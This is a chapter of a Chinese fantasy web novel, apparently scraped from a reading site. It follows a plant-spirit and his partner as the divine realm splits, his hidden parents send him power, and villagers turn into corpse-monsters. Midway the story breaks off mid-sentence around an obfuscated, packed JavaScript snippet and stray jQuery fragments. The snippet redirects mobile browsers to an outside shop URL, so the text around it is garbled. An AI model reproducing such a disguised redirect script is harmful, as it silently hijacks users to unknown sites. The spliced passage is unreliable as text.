文趣网 > 都市小说 > 家有种田小萌妖 > 63. 第 63 章
    杏小果这阵子不曾踏入天祈殿,极少关注外界之事。清九每隔几日过去看看天祈山的近况,仅是看一看,从不在杏小果跟前提及外面形势如何。

    清九从舆图带回有趣的书籍,或是少见的种子,陪着杏小果种了不少漂亮的花草装扮灵气小院。

    直至半个月后,杏小果某次听小纸鹤碎碎念,才得知神界裂成两半,生机流逝加剧,神族们实力大减。

    是大事,却也与杏小果无关,除了小纸鹤打量他的眼神有些佩服,让杏小果看不懂的佩服。

    杏小果摸了摸自己的脸:“我脸上有什么吗?”

    “没。”小纸鹤晃晃脑袋。不过是妖与妖不同,某些妖成了魔,搞破坏炸一炸小火球。某些妖成了魔,搞破坏炸一炸神界,不一样的惊天动地。

    凤云的本体留在地佑殿守殿,向来很懒的黑凤整天趴在殿门外,一边堵住殿门一边晒太阳。

    作为守殿,本体不可随意离开地佑殿。若不是山林深处的石台可供小纸鹤自由进出,守殿的日子注定无聊透顶。

    他总算明白天祈殿石头龙的爱好为什么是睡觉,实在是无事可做。

    下雨那会儿,地佑山住进众多生灵,他们不似魔族能随意出入小秘境磨练自身,只得在山里四处溜达,吵吵闹闹片刻不消停。

    凤云庆幸自己提早开启大殿四周的防御,彼此隔开很长一段距离,免于被打扰。每天围成长排遮挡阳光的无聊家伙越来越多,但他已然适应这样的日子。

    凤云不曾特意打探神界的变故,仅在各族生灵闲聊时听了一两句。

    神界大地突兀的一分为二,有些生灵深感震惊,有些生灵坚决不信。随着传回的消息增多,亲眼目睹深渊裂缝的生灵增多,不信的那些终于露出了难以置信的表情。

    小纸鹤瞅瞅杏小果:“他们猜,这是神界惹恼了天道,遭受的惩罚。若不是一界之主犯下大错,引得天道勃然大怒,神界大地怎会断得如此夸张。”

    “对此,神族极力否则,坚称此番变故与神皇无关。神族给的理由是灾星降世,灾星由神堕魔,嗜血无情的神魔祸害苍生,后患无穷。”

    “天道在提醒神界,尽早除掉威胁。神界自当竭尽全力,找出灾星的身份,避免所谓的神魔祸乱六界残害无辜。”

    小纸鹤脑袋一偏,语气复杂:“不管是不是灾星,有没有神魔,神界破裂,对一界之主影响极大。”

    “魔族的那些傻大个,激动嚷嚷着要魔帝领兵,一路打到神皇所在的神殿,证明魔族是六界最强者。”

    神皇受伤,又有神魔叛离神族,正是攻打神界的绝佳时机。

    大魔小魔们想法一致,神魔名字带着魔字,理应属于魔族。是否主掌极致杀戮,是否冷酷残忍,是否是欲加之罪,总之神魔是神族认定的强者。

    如此超强战力需尽快迎回魔族,避免遭到神族的迫害。

    魔族向来与仙族关系不睦,与神族更是矛盾很深,主要体现在打架究竟谁强谁弱。

    神族数量虽不及其它几界,能力不容小觑。好战的魔族对神族自诩六界最强者嗤之以鼻,拒不接受魔族战力不及神族。

    “他们积极讨论着如何分割神界,”小纸鹤颇感无奈的摊了摊小翅膀,“可是,他们知道他们的魔帝不在魔界吗?”

    魔界舆图始终不见魔帝的身影,盼着魔帝亲征攻打神界,无疑是做梦。

    魔族要不要与神族一较高下,神界有没有诞生乱世神魔,杏小果思来想去,貌似都与自己无关,一个小妖哪用忧心这些天下大事。

    这两天,他隐去身影,围着村里的田地仔细观察一番。作物们没有令他失望,它们顽强的挺过了灾难,重新恢复生机,一扫先前的枯黄萎靡,各个精神抖擞的立在田地。

    今年的秋收,显而易见的有着落。

    杏小果看见了状态好转的作物,也看见了被挖走的作物,村里有不少的瓜果蔬菜苗移去了村外。

    是什么原因,杏小果不会问,同样的,村外能不能继续存活,杏小果也不会问。

    他以往就是在意太多,所处位置才那般尴尬为难,无论发生什么总有他处理后续。但现在,无止境的麻烦与压力不再属于他。

    路过阿牛家时,杏小果无意间听到一件喜庆事,齐知成功孕育了妖胎。

    阿牛夫夫盼了多年盼来的孩子,到的时间有些晚,到的环境也有些艰难,选在了大灾降临的时刻。

    即使如此,阿牛和齐知仍分外疼惜这个来之不易的子嗣。

    杏小果在自己的小布袋里翻翻找找,寻了些对小孩有益的灵物。他没有露面,只把灵物装进小盒子放在阿牛家的窗台上。

    这是送给阿牛夫夫和孩子的礼物。

    其实,杏小果和清九也曾商议婚宴事宜,却迟迟没能定下日期,只因他和清九皆在等待,等待家人平安无恙的消息。

    杏小果的爹娘杳无音讯,清九的娘下落不明,至于清九那个入赘敖家的爹,知晓身在何处却不会再联系。

    杏小果停下脚步,抬头望向不远处的五雷山。

    数百年过去,幼时在山林的那一别,爹娘如今身处何处,是否安好。

    神界边缘。

    深渊裂缝旁的空地,悄然无息的浮现紧闭的殿门,若隐若现的大殿被无形的力量笼罩其中。

    殿门旁,一对中年夫妇大步走向深渊。深渊附近弥漫着恐怖的威压,他们不见丝毫惧怕,捕捉到似有似无的熟悉气息,难得的露出了笑容。

    夫妇俩对视一眼,小心捧起淡绿的光团,光团内有几片银杏叶,以及一根细细的枝桠。

    他们微笑着抚了抚光球,将光团抛向裂纹,目送它落往深处。一抹微光忽闪,又隐入黑暗,深渊底的力量瞬息间沸腾。

    神皇玉玺再次崩开一道裂口,裂口隐约泛着黑光。

    生机源源不断的自神界地底涌出,它们在半空缓慢凝聚。一根又一根树枝相互缠绕,没有丁点儿尖锐锋芒,却绕成了一柄巨剑,杀气腾腾。

    直冲天际的生机越多,神界的大地越虚弱,神族们的气息越不稳定。

    向来悠然自得的神族难得的心慌,神界不似其余几界动荡不止,这些年始终风平浪静,近期却接二连三遭遇变故,难不成当真有乱世神魔?

    可半空的神木之剑分明是神族气息,并未沾染魔族气息,哪来的神魔?

    神族们来不及多想,那柄巨大的神木之剑轰然刺下。

    竟是剑指神皇所在之处。

    端坐在最高位的神皇,缓缓抬起头。

    冷漠的眸子直视天空的巨剑,巨剑不见锋刃却尽显无尽杀机,散发出令人窒息的彻骨寒意,一旦触碰必定伤得血肉模糊。

    神皇全然不惧这些复仇的杀意。

    没有玉玺又如何,崩碎了神界大地又如何?

    是他胜了,是他坐在这个位子上。如

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735944|203986||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    今的神界早已不是当年的神界,他是这里的主宰,唯一的主宰。

    刺向神皇的巨剑忽然偏移了位置,劈向一侧。

    速度之快,猝不及防,只听得锁链断裂,一截树枝骤然挣脱束缚,以迅雷不及掩耳之势融入巨剑。

    神皇出手阻拦,巨剑当即化作厚盾牢牢挡在神皇跟前。待到盾牌破碎时,那截树枝已藏身至深渊裂缝,无影无踪。

    神皇扫了眼断掉的锁链,望向深不见底的裂纹:“这才是你真正的目的?”

    “收回曾给出的一切?”

    树枝跃入深渊的那一刻,裂缝旁的中年夫妇转身离去。前方再次浮现那座若有似无的宫殿,待他们行至殿门旁,整座宫殿彻底隐去了身影。

    妖也好,魔也罢,是神是鬼,是人是仙,又有何区别。

    他们会一直守护他们的孩子。有追兵,他们引开。沿途有障碍,他们为他铲除。

    愿吾儿岁岁年年无忧,愿重逢之时,吾儿活泼开朗依旧。

    一股不知从何而来的力量,冷不丁融入杏小果的身体,他低头困惑的打量着脚下的大地,是这方土地送来的力量?

    新增的力量很强,属于他,又不属于此刻的他。

    杏小果心口的“隐”字轻微一晃,新增的力量化作寻常妖力,再也不见丝毫特殊之处。

    杏小果回到家,清九正好从村外归来。附近村镇出了事,即使不由他俩亲手解决,至少得清楚具体发生了什么。

    “外面有尸怪。”清九说。

    闻言杏小果一愣,怪虫时不时冒出来,这不奇怪,某些外来大妖体内有死气,这也不奇怪。杏小果相信,清九提及的尸怪并非这些。

    清九解释道:“附近村镇,有村民成了尸怪。”

    模样不见明显改变,却毫无征兆的发疯,不仅杀掉了自己的家人,更是疯狂啃食。好在外来大妖们动手快,否则画面更血腥可怕。

    天祈山和地佑山给出的火焰提示显而易见,杀掉那些发疯的村民,外来大妖们反复观察,当真是死了又尚未死透的状态,直到妖火烧了一遍,才再无威胁。

    见状,大妖们心里直嘀咕,不怕小妖,只怕身边熟悉或不熟悉的其它大妖,其中是否隐藏有防不胜防的危机。

    惊慌失措的村民向外来大妖寻求保护,奈何大妖们根本不理会。越是这时候,村民们越是怀念清九的友善。清九话少,做的实事半点不少。

    可惜,事到如今即使修好五雷村外的那条路也无用,由五雷村的村民亲手移出来的植物,到村外不久就枯萎,与五雷村里的情况天差地别。

    也有某些妖动了强抢的心思,他们不敢对五雷村下手,径直冲去了希村,羡慕希村至今仍然得到保护。

    然而,不管是抢夺希村的作物,还是抢夺希村占为己有,他们都收获了与五雷村相同的待遇,跪地不起,除了永远离开村子,没有任何解决办法。

    骂也好,求情也好,处境未有丝毫改变。

    也是这一刻,他们终于意识到,护着他们的妖不在了,以后不会再有,没有那些理所当然,没有那些触手可及的丰收。元宵夜五雷村的稻穗祈天灯早已飘远,远得看不见。

    清九简单提了两句怪物相关,就不再多说。随着这场雨到来的,是怪物的大范围增多,在他们意料之中。

    六界的死去,越来越快。

    应劫而生的神秘之地,依然无人知晓在何处。